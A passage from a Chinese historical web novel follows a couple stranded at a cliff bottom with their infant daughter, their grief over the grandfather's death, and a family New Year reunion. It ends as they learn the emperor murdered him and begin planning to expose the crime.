几时才会露面? 还有,为何白隼带来的,仅有宣家的传信? 新帝派来的人,如今还在淮招县徘徊吗?他们的 目的是什么?想知道他们夫妻坠崖后有没有死?还是和上次一样,想再来一次暗杀? 可上次悬崖上的暗杀,已经引起了朝野的注意。 宣兆在信上说先前朝中和民间已经有人猜测是帝王派人下的手,为此京兆尹还抓了好些“言谈不端”的百姓,引得无人再敢公开谈论此事。 盛誉是彻底疯了?还是依旧保留一点理智? 苏家人现下如何?让白隼带来宣家给槿妤的书信,却没有给自己留只言片语,是想要给自己传递什么信息? 苏琯璋陷入深思。 小竹床里的岚姐儿今日睡得不大安稳,梦中有娘亲的哭声。 她不安地啜泣起来。 哭声惊动了苏琯璋,他忙将怀中的宣槿妤小心地放在床上,盖好被子,再伸手进小竹床里抱起女儿。 苏琯璋检查了下岚姐儿的尿布,不是尿了,也不是拉了。而她半个时辰前才喝过奶,想来也还不饿。 “是哪里不舒服么?” 他收回把脉的手,“吓着了?”他头轻轻抵在女儿额头上,“不哭,岚姐儿不怕。”他柔声哄道。 但岚姐儿显然受了惊,并不好哄,父亲的安慰她并不买账。 担心吵到宣槿妤,苏琯璋想将孩子抱到外面慢慢哄;但脚步刚迈出,他又回了头,显然是更担心睡着了也还是皱着眉默默流着泪的妻子。 正踌躇间,宣槿妤已经被岚姐儿越发响亮的哭声惊醒,撑着精神起身,将她抱入怀中。 “不哭,岚姐儿不哭。”宣槿妤声音都还是沙哑的,带着浓厚的鼻音,“娘亲在这儿。” 但岚姐儿奇迹般地安静下来,抽抽噎噎的,却伸着小手,在她脸上轻柔地拍了拍。 “啊啊啊~”像是感知到娘亲的情绪,她朝宣槿妤露出个甜甜的笑。 宣槿妤将她搂紧,“才哭过呢,这么快就笑了?小丑儿。”她说着,脸上有清泪滑落。 外祖父的容颜在眼前闪过,脑中尽是他耐心包容地对自己说的一句句话,做的一件件事。 宣槿妤感受着怀中幼女温暖的体温,肝肠寸断。 苏琯璋在她身后坐下,将她和她怀中的岚姐儿一起纳进怀中。 “想哭便哭罢!”他低声道,实在不忍心看她因顾忌怀中女儿而强忍的模样。一双明眸尽是红血丝,像是一道道鞭子,落在他心上。 宣槿妤放声大哭。 他们被困在这崖底,外祖父病重直到逝世,他们不仅无法赶回去见他最后一面,就连祭祀,也无能为力。 他们得知消息的时候,已经太迟太迟了。 迟到,他们已经错过了外祖父的七七。 若这封信来得再早一些…… “前日,是外祖父的七七。”宣槿妤红肿着一双眼睛,哑声和苏琯璋说道。 岚姐儿被哭得伤心欲绝的娘亲吓到,一直往她怀里钻。 小小的人儿,贴心到不行,自己都还不会控制自己的小手小脚,却想着替她擦泪。 从白隼那里学来的招数,拍在她父亲脸上,好玩又逗趣;轻轻柔柔拍在宣槿妤脸上时,却让人熨帖得很。 宣槿妤心里又酸又涩,任由苏琯璋替她拭泪,她则不住地亲着女儿的小脸儿,“不怕不怕,娘亲是不是吓到你了?” 她强自稳定着情绪,喂岚姐儿喝了奶,又陪她玩了一会儿,夜间躺在苏琯璋怀里时,才又无声地放任了自己的脆弱与伤痛。 白隼送完宣兆的那封信,可能是知道不会有回信,又飞出了崖底,一连几日没有露面,直到崖底天气生变。 十二月时,一直晴朗和煦的崖底下了场不大不小的雨。 那场雨过后,天边淅淅沥沥的,小雨缠绵了几日,崖底的温度便明显降了下来。 白隼带回了苏家人的书信,和满满一个大竹筐的米面油盐、衣裳被褥等物资,但宣兆信中所说外祖父给宣槿妤的信二人依旧没有收到。 十二月中旬,岚姐儿满了三个月。沉浸在悲痛中许多时日的宣槿妤,情绪也慢慢稳定下来。 一家三口对着盛京城的方向,简单祭拜了一番。 崖底物资匮乏,但苏家人已经从暗卫口中得知林太傅逝世的消息,十分贴心地托白隼将祭祀用的香、烛、纸钱、酒和茶等物送到了崖底。 三牲:野猪、野鸡与河鱼,这些崖底不缺,苏琯璋自己就准备妥当了。 一场祭礼,东西虽然不怎么缺,但对比府中往年的旧例,甚至可以谈得上简陋。 尽管如此,宣槿妤和苏琯璋还是准备得十分认真,末了,将什么都不懂的岚姐儿抱在怀中,对着京中方向肃立片刻。 “外祖父,她是岚姐儿,您的重外孙女儿。”宣槿妤笑着,眼中却滚下一行清泪,“您看到她了吗?” 第85章 第85章妹妹好像一只小乌龟 祭礼过后没多久便是岚姐儿的百日,和山外恢复了通讯的夫妻俩收到了不少物资,其中大半是给孩子的百日礼物。 岚姐儿如今会翻身了,每日里清醒时总爱在床上翻着自己的小身子。 偶尔翻不过去,扭足了劲儿,憋得小脸通红也只是停留在原地。宣槿妤用手轻轻一戳,她便“啪叽”摔在柔软的床褥中。 然后她就会发出十分欢快的笑声,“啊哈哈哈!” “傻乐什么呢?”宣槿妤将她抱起来,亲了亲她越发圆润的小脸蛋,“摔了都能笑,真是个小傻瓜。” 岚姐儿对她吐了一个泡泡,笑得越发甜蜜。 苏琯璋放下手中的笔,低着头端详片刻他方才画好的小像,眼里含着十分明显的笑意,唇角的弧度也不自觉地高高扬起。 “墨已经干了。”他从竹桌前起身,走到床边,“我来抱,你看看是否可以。” 这副小像是要送到山外去的,然后会被一家人争相传阅。 宣槿妤说,岚姐儿满三个月的小像才送出去没多久,那时送的是她可爱的睡颜,而百日的这副小像,当有些不一样,最好是能让家里人看了就十分欢喜的。 苏琯璋觉着,他画的这副小像满足了宣槿妤所言,当是十分合意的。 岚姐儿待在父亲怀中亦十分惬意,连着吐了好几个泡泡,将自己逗得咯咯笑个不停。 苏琯璋揉了揉她的小脑袋,不厌其烦地将她流出来的口水擦了。 那边宣槿妤已经看到了岚姐儿的百日小像,忍了忍,还是没忍住“噗嗤”笑出声来。 “岚姐儿长大之后会怨你的。”她说,眉眼间的笑意却怎么也止不住。 自得知外祖父辞世的消息至今,她第一次笑得如此开怀。 苏琯璋放轻呼吸,“祖母、父母亲、三哥他们看到了也肯定会很欢喜的。”他温声道。 宣槿妤抬眼去看他怀中张着小手挥舞着、“呀呀呀”叫个不停、兴奋不已的岚姐儿,又低头看了一眼小像,“确实。”她忍着笑回道。 她没了异议。 待山外之人收到岚姐儿的百日小像时,果真有一个算一个,每个人都笑得乐不可支。 “妹妹好像一只小乌龟。”慕哥儿戳了戳小像,似乎是想将小像里的岚姐儿戳得翻过身去。 苏琯文乐得不行,“可不是,还是一只翻不过身的小乌龟。” 一屋子的人,本已慢慢止住笑,闻言又忍不住,哈哈大笑起来。 小像上的小女娃,撅着小身子,翻身已经翻到了一半,小脸憋得通红,却只能卡在半空,眼睛睁得大大的,里面全是不解。 “小弟小时候没有这样可爱罢?”苏琯文将手搭上大哥苏琯煜的肩膀,眼里憋着坏笑。 他就比苏琯璋大了两岁,苏琯璋百日的时候,他还不记事,但苏琯煜那时候已经六岁了,肯定记得。 苏琯煜看出三弟藏着的坏心思,没有顺着他的心意,“岚姐儿当然更可爱。” 苏琯文有些失望,“你看看岚姐儿的眼睛,她和小弟这样像。”他试图引导,“小弟小时候是不是也是这样,翻不过身,像只小乌龟?” 他致力于传播苏琯璋的坏话,想给他小弟清冷出尘的形象添点黑历史,全然没留意到他身侧的母亲已经对他死亡凝视已久。 旁观胞兄作死的苏琯武默默退后一步,给自家母亲让出位置。 果真,他才退下,苏二婶便扇了苏琯文后背一掌,声音甚是响亮,“你话怎的这样多?”苏二婶挑眉道。 岚姐儿百日的翌日,晨起时苏琯璋对宣槿妤说道:“我们今日走远一点,看看能不能找到通往外界的路。” “前辈花了四十多年也没能找到出去的路,我们可以找到吗?”宣槿妤有些不确定地问他。 苏琯璋摸了摸她削瘦许多的脸颊,“反正都是要走走的,看看、找找也无妨。”他温声道,眼里藏了心疼。 她因外祖父逝世的消息,日渐消瘦,怀孕生产后好不容易养出来的一点丰腴韵味也消失了。 如今的宣槿妤,又恢复到了还未怀孕时的状态;除了眼神偶尔黯淡些,为人母之后身上脸上多了几分柔和;更多时候,和她当初在京中那娇艳无双的宣家姑娘形象重合。 可他实在心疼。 说是找出去的路,其实也只不过是想借机转移她的注意力,让她在守孝的这几个月时间里没那么难熬而已。 宣槿妤点点头,“那我们走吧!” 他们很快改变方向,朝着高耸的山岩峭壁走去。 宣槿妤和苏琯璋二人开始找路,意料之中的一无所获。 几日过后,这山里下了雪——崖底这第一场雪比山外晚了两个月。 担心宣槿妤和孩子受凉,他们也便搁置了找路的计划。而这时,外面有消息送来,道是苏二姐苏琯绵也来到了淮招县。 苏声一笔掠过二女儿来淮招县的事,转而提及徘徊在淮招县宅子外的玄衣武人,说他们暗杀苏家人不成,倒是全数被反杀了。 他并不怎么在意这群玄衣武人,如今苏家人已经彻底掌管了淮招县暗处的联络通道,隐匿起来的苏家暗卫更是将他们所在的宅子护得密不透风。 新帝派再多的人过来,也不过是一样的下场,除非他不管不顾,从千里之外的军营里调集数万驻军围剿他们。 苏声来信便是告诉苏琯璋,让他继续在崖底待着,不急着出去。 二姐不是和二姐夫在佟城驻守?怎的会千里迢迢来到淮招县? 她过来了,那孩子们呢? 父亲怎的一句不提? 看得出苏声写这封信时的仓促,笔迹都有些飘忽。 是因为遇到了什么紧急的情况,而无法静下心来给他写信?还是因为二姐的到来打了父亲一个措手不及,他暂且没能得知更多讯息? 苏琯璋捏着信,皱着眉,难不成新帝已经对二姐他们下手了? 他思索着,很快提笔回信,又交给候在一旁和岚姐儿圆眼对圆眼的白隼,“辛苦你今日再跑一趟。”他摸了摸它的头。 白隼乐意至极,不过还是又看了岚姐儿好一会儿,才抓着书信扑扇着翅膀飞出了山洞,很快冲上云霄。 窝在宣槿妤怀中的岚姐儿正冲着白隼“哦哦哦”地乱叫,眨眼间便见它飞出去了,不由得睁大了双眼。 “啊啊啊!”她指着山洞竹门的方向,扭头往宣槿妤怀里拱。 宣槿妤被软乎乎的肉团子拱着,心里发软,“天黑了,岚姐儿,明日我们再出门。” 岚姐儿小手依旧指着门口,“啊啊啊”个不停。 “噢,”宣槿妤了然,“白隼送信去了,待会儿再回来。” “咚咚咚”,拨浪鼓的声音响起。 岚姐儿的注意力瞬间便被吸引,再记不得白隼飞出去的事,兴奋地蹬着小脚丫子,朝苏琯璋张开双手。 苏琯璋坐下来,揽住她肉墩墩的小身子,将拨浪鼓放在她手里。 将将四个月的小人儿,已经可以开始练习抓握了。 看到会发声的拨浪鼓,岚姐儿下意识伸手去抓,但是拨浪鼓很快从她手里滑落,掉在底下托着的苏琯璋手里。 再放,再滑落…… 宣槿妤含笑看着父女二人,看他们一个放拨浪鼓,一个抓不住还是乐此不疲地伸小手去抓。 山洞外面飘起了雪花,这里面却暖意融融的。 不多时,白隼如风一般掠过竹门,停在小竹床上。 它低头去看小竹床上的岚姐儿,发现她已经睡着了,偏了偏头,将爪子里的信递给苏琯璋,埋首去整理自己的羽毛。 宣槿妤拿了干净的毛巾,替它擦拭起来,再次收获一只炸毛的白隼,她心情颇好地替它将毛羽打理得清清爽爽。 苏琯璋很快看完信,对正揉着白隼小脑袋的宣槿妤说道:“无事,只是二姐来得突然,父亲有些被吓到。” 他解释的是第一封信的事。 宣槿妤松了口气,却依旧有几分担忧,“二姐可还好?孩子们呢?”她摸了摸白隼依旧圆鼓鼓的肚子,转身坐回了床上。 “孩子们跟着二姐一起来的,”苏琯璋回道,打湿了帕子,挨着她在床边坐下,开始替她擦手,“别担心,他们都很好。” 岚姐儿饿醒要喝奶的时候,苏琯璋早已将苏琯绵的事和宣槿妤讲完。 白隼也立在小竹床边上,头埋在翅膀里,睡着了。离得近了,还能闻到它身上未散去的一股肉香气。 “倒像是三哥在给我们养儿子。”苏琯璋给女儿拍完嗝,将她放回宣槿妤怀中,拆开了宣文晟给他们的信。 白隼方才带了两封信过来,此时他们才拆第二封。 宣槿妤嗔了他一眼,“胡说什么呢?” 上次玩笑话说白隼是他们儿子,岚姐儿还小听不懂也就罢了;如今岚姐儿日渐长大,越发机灵,这种玩笑话还是少开为好。 苏琯璋好脾气,“嗯,我日后不说了。”他看起信来。 看着看着,他笑起来,问宣槿妤:“你知道为何方才父亲的信,字迹如此飘逸?”出于对父亲的敬意,他倒是没用“飘忽”这个词。 没等她猜测着回复,他自顾自地说了起来,“原来和白隼有关。”他说。 宣槿妤惊讶地转头去看一眼睡得十分安稳的白隼,重又盯着他,催促他赶紧说。 “父亲在信里没有说,三哥倒是说了。”苏琯璋亦瞥了一眼睡着的白隼,“是它吃完东西,急着要走,大哥都险些抓不住它,父亲才匆匆收了笔。” 宣槿妤哑然失笑。 她知道宣文晟每次给白隼准备的吃食都十分美味,它近来更爱待在山外苏家人所在的宅子里,蹭吃蹭喝。 除了日常出山撒欢,宣槿妤苏琯璋若在崖底见不到它,便知它必定是去找宣文晟要好吃的去了。 只是不曾想,它在山外时,竟会如此行事。 “之前说它贪吃,果真没冤枉它。”苏琯璋已经看完宣文晟的信,发现通篇都是对白隼的“抱怨”,忍俊不禁。 宣槿妤用岚姐儿的小手轻轻地打了他一下。 苏琯璋没什么反应,倒是岚姐儿,又开始兴奋起来,“啊啊啊”“呀呀呀”“哦哦哦”地乱叫,闹腾得很。 “我们一家三口这个除夕夜,还挺热闹。”苏琯璋侧身挡住岚姐儿的视线,亲了亲宣槿妤的脸,再若无其事地将女儿抱起来。 宣槿妤摸了摸被他亲过的地方,浅浅一笑。 自外祖父逝世,他们就没有再亲密过了。 她要给外祖父守孝五个月,夫妻二人便是躺在同一张床上,也都是规规矩矩的,不似前些时日那样亲密无间。 这还是那日以来,他第一次亲她。 “岚姐儿一个人说起话来,就顶得上慕哥儿他们兄妹七个。”宣槿妤轻轻地捏了捏女儿小鼻子,揶揄道。 可不是嘛! 自岚姐儿快两个月大,他们走出了山洞附近的范围,她见识到了广阔的风景之后,便像是换了个性子。 月龄时每日里都安安静静的,如今可好,每日里没有一个消停的时候。 尤其近期会发出更多音节了,会翻身了,便越发不得了;她清醒的时候,他们做爹娘的,耳朵里就没有清静过。 苏琯璋轻笑,亲了亲女儿的额头,将她放在嘴里吸吮的小手拿出来,擦了擦,握在手里。 “你怎么回事?”他轻轻摇了摇她的小手,逗得她冲宣槿妤傻乐,笑个不停。 “这一身神 力时有时无的,”他抬眼和宣槿妤对视,“你抱女儿的时候,可有被她伤到过?” 宣槿妤笑着摇了摇头,“岚姐儿心疼她娘亲,”她意有所指,“我每次抱她时,都没感觉到她气力和旁的婴儿有什么不同。” 苏琯璋失笑,合着每次女儿的神力,都用在他身上了? 不过,也是件好事,他皮糙肉厚,也不太怕疼,总归不会伤到槿妤便好。 今夜是除夕夜,崖底一家三口坐在床上谈心,等待着新的一年到来。而山外,淮招县城外的宅子里,此时也十分热闹。 第86章 第86章是我盘的,如何? 虽然宣槿妤、苏琯璋和岚姐儿他们一家三口在崖底不能和他们一起过节,且失踪的苏家二叔也依旧没有任何踪迹,但好歹苏家人基本齐全,倒也可以过个好年。 此时一家人都聚在前厅,正做着过节的准备。 而宣文晟,写完给妻儿爹娘的书信之后,将日日放在床头的木盒子打开,将几封信放了进去。 木盒子中,已经攒了满满的一盒子信,险些放不下新的信封了。 “再过几日就寄出去。”宣文晟数着日子,叹息道。 他自出生以来,还是第一回不在宣家过年,倒是真十分想念家中亲人了。还有妻子方沅沅、和儿子秩哥儿,也不知道他们在家中会不会想他想到落泪。 门口的清风又催促了几声。 “来了。”宣文晟盖好木盖子,将盒子重新放回床头,才起身打开了房门。 见到人终于出来,清风松了口气,他还以为公子一人躲在房里哭呢! 毕竟,苏家几乎阖家团圆;而小姐、小小姐与姑爷都出不了那崖底,公子相当于独身一人在这淮招县。 这样的对比,想必公子心里很不好受罢! 清风瞥了一眼自家主子的神情,没看出有什么异样,眼里闪过微微的诧异。他很快收敛好心神,说道:“公子,亲家老爷夫人他们都等了挺久了。” 宣文晟“嗯”了一声,“等会儿我去赔罪。” 他转头看向清风,“其余人的酒菜可都准备好了?”他问。 清风点点头,“公子放心,商队准备得十分妥当。属下来时,他们都已经要开席了。” “行了,我这里也暂时用不着你。你也快去罢!”宣文晟刚说完,想起什么又改口:“要不你跟我一起去跟亲家他们吃个团圆饭?” 清风是宣家暗卫营出身,而那里都是些无父无母的孤儿,他也同样没什么亲人了。 往年过年时他都是和宣家暗卫们一起过的,今年…… 和清风相熟的宣家暗卫都已经被宣文晟派回盛京城待命了;如今待在这处宅子里的,都是先太子留给遗腹子的暗卫,还有宣文晟自己培养出来的商队。 与其让清风去和不怎么相熟的人一起吃年夜饭,还不如跟他和苏家人一起吃。 清风心里微暖,但依旧摇摇头,“属下就不去了,还是回去和商队他们一起吃罢!” 他笑着说:“公子忘了?这大半年里都是属下和商队的人,还有暗处的人联络,早和他们混熟了。” 清风这样说,宣文晟也不勉强,摆摆手让他下去了。他自己则进了前厅,和苏家人道过歉意后,坐在苏琯文身边,和他一起扎起灯笼来。 年夜饭是分两波用的,早些的是暗卫和侍卫们,他们吃完了之后再轮班值守。晚些的是主子们,他们还在布置宅子,并不着急用饭。 暮色四合时,苏家暗卫进得厅中回禀,说是二小姐和小姐公子们乘坐的马车正往宅子方向驶来。 正热热闹闹地贴着对联、剪着窗花、挂着红灯笼的众人怔愣了许久。 “二小姐?你是说府中二小姐?”苏声很快回神,盯着暗卫,犹有些不可置信。 暗卫名苏一,正是一直跟着苏声的暗卫首领。 他再次颔首,肯定地道:“主子,是府中二小姐,她带着表小小姐和表小公子们正朝着宅子方向驶来。” 为让苏声明白,他确实没有妄言,暗卫还特意将孩子们的称呼加上了。 虽然有些拗口,但苏声总算没有再质疑他说的话了。 “煜小子,你妹妹和外甥女、外甥们他们来了,快跟我出去。”苏声急匆匆往外走,还不忘招呼苏琯煜跟上。 按理说,他是长辈,不该亲自去接见女儿的。 但他实在担心,也顾不得那么多了。 才从厨房里出来的许玉娘听闻消息,也很快赶了过来,追上他们。 “怎么回事?我听说绵丫头带着孩子们过来了?” 许玉娘快步走着,呼吸未见急促,但声音却似是鞭炮似的,噼里啪啦响个不停。 “她不是跟女婿在佟城驻军吗?” “怎么回事?就她一个人带着孩子们过来?女婿没有跟着?” “哎呀,急死我了,你怎么不说话?” 许玉娘倒豆子似的将话急哄哄地说了出来,根本不给苏声回答的机会。 不过,眼下她的问题苏声也都不知道答案,他只能回答的是,“是绵丫头带着孩子们过来了。其余的,我还不知晓,得见了人才能问出来。” 许玉娘便忍着不再问他,一家三口急匆匆的,脚步迈得一个比一个大。 他们到得门口时,府中暗卫已经将马车卸下,正一件一件地往宅子后面搬运行李。 “人呢?”许玉娘只见到熟悉的侍卫和暗卫们,都是她和苏声派到女儿身边供使唤和保护他们的。 但是,别说主子们,就连别的下人也没见着。 “不是说人已经到了?”苏声也不解,拉着一名侍卫就问,“二小姐呢?孩子们呢?” 那名侍卫正要回答,他们身后、照壁旁边就传来一个熟悉的清脆声音,“爹爹、娘亲、大哥哥,我和孩子们在这儿呢!” 苏琯绵方才就带着孩子们下了马车。只他们路上走得太急,三个孩子路上喝了水,都有些憋不住了,她就趁苏家主子们还没来的时候赶紧让人带他们去解手。 解决完了,她才听得父亲身边的苏一说苏声、许玉娘和苏琯煜都来找她了,忙匆匆又赶回门口这处。 许玉娘虽然得了消息,又听到熟悉的声音,但乍然见到女儿,还是愣了好一会儿。 “你怎的会出现在这里?” 她视线往下移,见到三个小外孙正殷殷地看着她,异口同声地叫了她一声:“外祖母。” 她忙不迭应了,又去看女儿,心里又惊又喜,更多的却是后怕。 “你这孩子,怎么这么莽撞?你知道这里是哪里么就敢带着孩子们跑这里来?” “女婿呢?他知道你们来了么?有没有给你们派人手?” “你真是的,这么大个人了竟还敢胡闹。” 许玉娘一想到女儿千里迢迢,带着年幼的孩子们跨过半个大盛朝过来找他们,心里就发酸。 他们一行人从盛京城走到这里来,花了半年多的时间。 即便女儿外孙们乘坐马车,快马加鞭,也得耗上个几月。这期间他们得吃多大的苦头?尤其几个孩子,还小着呢! 苏琯绵亲昵地挽住许玉娘的手臂,“好啦!娘亲您可别再数落我了,给女儿我在孩子们面前留点颜面罢!” 许玉娘感受着女儿熟悉的撒娇动作和嗓音,终于笑了出来,“你啊!” 她点了点苏琯绵挽着她的那只手,又去招呼孩子们,“来来来,刚好年夜饭也烧好了,你们来得正是时候。快跟外祖母进去吃饭,都饿坏了罢?” 饭桌上欢声笑语,孩子们刚好凑了个整十数,各个兴奋不已,叽叽喳喳的。如此热闹之下,一家子重逢时的那些复杂情绪也散得差不多了。 等到碗碟盘筷都被撤下去,他们才开始谈及正事。 “我要来的时候,他也同意了的。护送我们的,除了苏家侍卫,还有他派来的副将。”苏琯绵说道,看过一家人,又对宣文晟点了点头。 苏琯绵口中的“他”是指她的丈夫王曳证,这话是回答许玉娘问女婿何在的话的。 “你们遭到狼袭的时候我就收拾东西南下了,只路途太远,这时候才找到你们。” 盛京城苏家的侍卫们留了一小半看家,并保护留下来的下人们;剩余的一大半则分批偷偷避过新帝耳目,一并南下寻人了。 “我们在余安府碰面时,双方都吃了一惊。”苏琯绵笑。 从苏国公府脱身的侍卫们见到二小姐,惊喜之余,正好和她汇合,顺 带着护送她和孩子们继续南下,倒是幸运地没引起旁人的注意。 “我们走过北丘府的时候,夫君派人递了信来,说是有人偷袭府邸,但没找到我们娘儿几个,又被驻军击退了。” 一屋子的人,除了还懵懂的孩子们,大人们和已经懂事的启哥儿只算算佟城府邸被袭击的时间,便俱都明白过来。 原来新帝在派人刺杀他们一家的时候,竟是连已经出嫁了的女儿都没想着放过,两边是算好了时间,同时动手的。 许玉娘方才还埋怨女儿的莽撞,此时也不禁开始庆幸起来。 白隼携着苏琯璋带着担忧的书信过来时,他们还未散场。 “你说你,方才非急着走。” 宣文晟隔空点了点正沉浸在肉食中吃得欢快的白隼,封好信封,嗤笑道:“还不是又要跑一趟?白让我妹妹妹夫担忧了一番。” 他的数落,白隼不知是没听懂,还是听懂了但置若罔闻,只埋着头苦吃,像是饿了很久似的。 可分明不到一个时辰前,他们才喂它吃了一顿。 见白隼没有半点反应,“果真是个贪吃的。”宣文晟无奈叹息。 其余人被这一人一隼逗得笑容不断,就连苏琯绵,也揽着许玉娘的手臂,笑得倒在她怀中。 苏声将写好的信封好,奇怪地问宣文晟:“宣三哥,你有事和璋小子他们说?” 宣文晟摇头,露出个坏笑,“我给妹妹妹夫写了一封‘弹劾’信,我将白隼贪吃险些误事的行径揭露出来了。” 一屋子的人闻言面面相觑,良久,哄然响起的笑声,险些掀了这屋顶。 象征着新的一年到来的钟声敲响时,崖底的烛火还未熄。 清越的钟声越过几重山水,落入崖底时,只剩下绕耳的余音。 “新岁安康!”苏琯璋亲了亲宣槿妤的额头,低声道。 宣槿妤抱住他,“新岁吉祥!”她说,脸在他肩侧蹭了蹭。 很远的山外隐隐约约有炮竹声响起。只是,除了耳力过人的苏琯璋听见了,宣槿妤和岚姐儿都没有听见。 岚姐儿才又喝过一次奶,还醒着,咬着小手看爹爹娘亲抱在一起。 “啊啊啊!”发现自己被无视了,她在苏琯璋怀里发出小奶音,提醒爹娘她的存在。 宣槿妤笑着推了推苏琯璋,让他松开手。 “娘亲的岚姐儿还没睡呢?”她揉了揉女儿的小脑瓜子,手感极好,惹得她舍不得放手。 岚姐儿出生时脸上因泡羊水而引起的细微褶皱已经完全消失,如今整张小脸白白嫩嫩的,像是可以掐出水来,触手弹性极佳。 宣槿妤又轻轻摸了摸她的小脸儿。 岚姐儿高兴地手舞足蹈起来。 “今夜这样兴奋,怕是不用睡了。”宣槿妤抬眼对一直看着她们母女俩的苏琯璋说道。 “无妨,偶尔晚睡一两次没关系。”反正今夜,他们两个大人也暂时没有要睡的心思。 而崖底就他们一家三口,第二日一家子想什么时候起,便什么时候起。 宣槿妤放下心来。 既然女儿还不想睡,那便陪她玩一会儿罢! 不多时,婴儿稚声稚气的嗓音萦绕在整个山洞中,和远处断断续续响起的炮竹声遥遥应和。 宣槿妤一颗心都要被女儿可爱化了,揉着她的小脑袋不撒手,“岚姐儿小脑瓜子真好摸。”她说。 苏琯璋也低头,看着女儿圆滚滚的小脑瓜,眼里含了笑意,“岚姐儿前头兄姐有七个,倒没有哪一个像她这般,才不到四个月大,小脑袋就如此圆的。” 宣槿妤也笑,手中动作不停,继续团了团岚姐儿的小脑瓜子,“是我盘的,如何?”她十分得意。 岚姐儿仰着头,冲她笑得甜蜜,而后,吐出一个泡泡来。 第87章 第87章和我说说,你和三哥哥的…… 过完元宵,崖底雪花越发大了。 苏琯璋每日醒来做的第一件事,便是将小山洞门口厚厚的积雪铲除扫去,免得将竹门冻得打不开。 除了饭后例行的外出散步消食,一家子已经不怎么出门了。 有一个活泼闹腾的小娃娃在身边,日子倒也不会无趣。 这日他们一家正躺在床上午歇,外面忽然传来一阵沉闷的倒塌声,连绵了小半刻钟。 苏琯璋仔细听了听,“像是那座小木屋的方向,许是年久失修,被大雪压塌了。” 宣槿妤平复了下心跳,“嗯”了一声,在他怀中闭上了眼睛,继续睡了。 苏琯璋心里其实并没有他语气那般淡然,只他看着很快睡熟的妻子,摸了摸她的脸。 晚间去给他圈养起来的几只母羊、和一群小羊喂食时,他特意绕路去了一趟,确认确实是大雪压塌了小木屋,并没有旁的痕迹,才彻底放下心来。 “小木屋坚持到你给前辈立完碑才倒塌,想来冥冥之中也是注定的缘分。”宣槿妤感慨道。 苏琯璋低头,吻了吻她的眼睛。 雪花压塌小木屋的第三日,一个半月前宣兆信中所说的、林太傅留给宣槿妤的信终于被白隼送到崖底。 一起被送来的,还有他留给苏琯璋的信——这是连宣兆都不知道的事。 苏琯璋看完不厚不薄的一封信,沉默了许久。 直到宣槿妤压抑的哭声将他惊醒。 “槿妤。”他忙将人揽入怀中,“外祖父在天有灵,定是不希望你如此为他难过。”他安慰道。 话虽如此,宣槿妤心中的难过依旧无法排解。 白隼歪着头看抱在一起的二人许久,跳到苏琯璋肩上,将小脑袋凑到宣槿妤手边。 宣槿妤下意识便伸手揉了揉它的小脑袋,过了一会儿,她低声说道:“谢谢你!” 白隼以为没事了,便飞到小竹床围栏上,将头埋进翅膀里,边睡边守着睡梦中的岚姐儿。 外面大雪纷飞,山泉水却依旧汨汨流动,潺潺流水声完美掩盖了轻微的啜泣音。 许久过后,“外祖父跟你说了什么?”宣槿妤问,嗓音沙哑,鼻音甚重。 苏琯璋低头吻了吻她的额头,低声道:“外祖父说,他托人将先帝陷害先太子、弑父夺位,和新帝弑父弑师的证据都带给了我。” 弑师? 狗皇帝的老师不就是外祖父么? 宣槿妤猛地抬起头来,险些撞上苏琯璋的下巴,她却无心理会。 面上泪痕犹未干,她目光却似是要喷出火来,“外祖父是被狗皇帝谋害的?”她只关心这一点。 她咬着唇,紧紧地盯着苏琯璋,不想错过他任何一丝反应。 外祖父不是病死的?而是被人谋害的? 宣槿妤脑子里乱糟糟的,只有一股火气,直直地从心里喷涌而出,亟需找个发泄口。 苏琯璋担心地抱紧她,“是,槿妤。你先冷静一点,他是一国之君,我们须得慢慢谋划。” 他用手轻轻撬开她唇齿,不让她继续咬自己。 “盛誉是皇帝,世人畏惧皇权,便是大盛再尊师重道,也不能拿他如何。”苏琯璋慢慢摩挲着宣槿妤的后背,企图让她呼吸平稳一些。 宣槿妤抓住他的衣襟,“你会替外祖父报仇么?” 她头很疼,心口也很疼,眼中不断有泪滑落,已经分不清是哪种疼痛造成的。 “会的。”苏琯璋怜惜地抚摸着她因伤痛和悲愤止不住在颤抖的身子,见起效不大,犹豫一瞬,还是取 出贴身的银针,在她手上几个穴位一一扎过。 血珠冒了出来,宣槿妤手一颤,滴落的泪珠砸偏了,没入二人相交的衣摆中,晕染出暗色的水痕。 苏琯璋观察着她的神情,见她呼吸逐渐平缓,收起了银针,将血珠擦拭干净。 “我会让他所作所为曝光于天下。” 他微微弯了腰,和她视线平齐,试图让她没有焦点的视线与自己对齐,“槿妤,看着我,” 苏琯璋的声音十分冷静,带有一丝寒意,“槿妤,须得先将他弑父弑君的罪行昭告天下,再公布他弑师的罪名,才有可能将他拉下那个位置,替外祖父寻回一个公道。” 他再次伸手,在妻子身上按揉摩挲。 过得片刻,宣槿妤才在他的安抚下慢慢平静下来,身子不再颤抖,脑子也逐渐从混沌钝痛中清醒过来。 悲伤与痛恨依旧充斥着她的心,她本能地抬眼去寻找他的双眼,很快和他温和的目光相遇。 “槿妤,先帝和新帝皆得位不正,弑父弑君,这罪行足以将他们从帝位拉下来。”苏琯璋说,语气冷酷,手上动作却十分温柔,缓缓在她面上划过。 宣槿妤缓缓吐出一口气,慢慢点了点头。 心绪起伏过大,她疲惫地靠在他怀里,任由他将自己牢牢圈在手臂中。 不知过了过久,白隼睡醒,瞥眼见小竹床里的岚姐儿依旧睡得安稳,它又转头去看宣槿妤和苏琯璋。 二人还保留着它睡前时的姿势,白隼也没惊动他们,拍了拍翅膀,很快飞出山洞,在他们身畔掠过一阵凉风。 宣槿妤目光随着白隼穿过那道竹门,望向虚空。 “能让他偿命吗?”她轻声问。 苏琯璋圈着她肩膀的手臂一紧。 宣槿妤便明白了,“我知道了。”她语气里还带着些许未散的疲惫,抬头看他,“三哥哥知道外祖父是被他谋害的吗?” 三哥哥既已决定夺位,他和苏琯璋筹谋数月,她就没想过他们会失败。 苏琯璋摇头,“槿妤,我不清楚。”信送到他手里的时候,封漆依旧是完好的状态,想来,也就他们夫妻二人知晓。 “爹爹和娘亲也不知道。”宣槿妤语气又有些哽咽,她想起了早前父母双亲给自己写的那封信。 他们还以为外祖父是因风寒引起旧疾复发,又元气未恢复,才不幸辞世的。 睡了美美一觉的岚姐儿睁开了眼睛,轻轻地挥舞着小手、蹬着小脚丫子,盯着挂在小竹床里的七宝玲珑佛坠看,也没哭没闹。 宣槿妤深吸口气,让自己声音变得正常一点,“和我说说,你和三哥哥的计划罢!” 苏琯璋目光也从放空的岚姐儿身上收回,开始讲述他与宣文晟这几个月的谋划来。 “三哥前些年,就已经拿到了先太子心腹交给他的书信。” 